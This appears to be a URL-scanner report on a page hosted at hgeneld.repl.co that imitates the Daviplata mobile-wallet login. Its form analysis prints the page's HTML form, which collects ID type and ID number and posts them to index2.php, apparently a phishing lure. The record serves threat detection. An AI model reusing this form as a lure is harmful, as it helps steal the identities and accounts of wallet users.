hgeneld.repl.co
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34.149.204.188
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URL:
https://hgeneld.repl.co/
Submission: On December 14 via manual from US — Scanned from DE
Submission: On December 14 via manual from US — Scanned from DE
Form analysis
1 forms found in the DOMPOST index2.php
<form method="post" action="index2.php" class="above-the-fold" style="color:#ffffff">
<section class="flex-grow align-items-center container--layout margin-bottom-05rem-mb">
<div class="container">
<div class="justify-content-center row">
<div xl="6" class="col col-12 col-lg-6 col-md-12 col-sm-12 col-xs-12">
<div class="notifications-wrapper"></div>
<div class="notifications-wrapper"></div>
<div class="">
<div class="">
<select name="tipodoc" style="border: none;background:transparent;background-color:transparent;
width: 100%;color:#ffffff; border-bottom: 1px solid #ccc; outline: none;">
<option value="C.C.">Cédula de Ciudadanía</option>
<option value="C.E.">Cédula de Extranjería</option>
<option value="Tarjeta de Indentidad">Tarjeta de Indentidad</option>
</select>
</div>
</div>
<br>
<div class="">
<div class="">
<br>
<label class="control-label" for=""><span>Número de Documento</span></label>
</div>
<div class="form-group-container">
<div class="">
<input class="" placeholder="" name="numdoc" autocomplete="off" type="text" maxlength="30" required="" style="border: none;background:transparent;background-color:transparent;
width: 100%;color:#ffffff; border-bottom: 1px solid #ccc; outline: none;">
<div class="c-control c-control--icon-toggle"><label class="c-control-label">
<div class="c-control-off">
<div class="svg-wrapper">
<div></div>
</div>
</div>
</label></div>
</div>
</div>
<br>
<div class="form-group-container">
<div class="">
<br><br>
<div align="left"><input type="checkbox" name="cb-cars" style="background:transparent;background-color:transparent;
color:#ffffff; border: 1px solid #ccc; ">
<font color="white">Recordar Datos</font>
</div>
<div class="c-control c-control--icon-toggle"><br>
<label class="c-control-label">
<div class="c-control-off">
<div class="svg-wrapper">
<div></div>
</div>
</div>
</label>
</div>
</div>
</div>
<br><br>
<button type="submit" style="font: 600 18px 'Open Sans';
display: inline-block;
background: #ad0000;
color: #FFFFFF;
padding: 13px 19px;
line-height: 24px;
box-sizing: content-box;
border-radius: 100px;
box-shadow: 0 1px 8px rgb(0 0 0 / 10%);
text-align: center;width:60%"><span>Ingresar</span></button>
<br><br><br><br>
<div align="center">
<div class="switch-label-text">Si no tiene Daviplata <a href="" style="color:#ffffff;">Registrese</a></div>
<br>
<img src="flfs/bottom.png" style="width:350px;">
<br><br><br> <br><br><br>
</div>
</div>
</div>
</div>
</div>
</section>
</form>
Text Content
Cédula de Ciudadanía Cédula de Extranjería Tarjeta de Indentidad Número de Documento Recordar Datos Ingresar Si no tiene Daviplata Registrese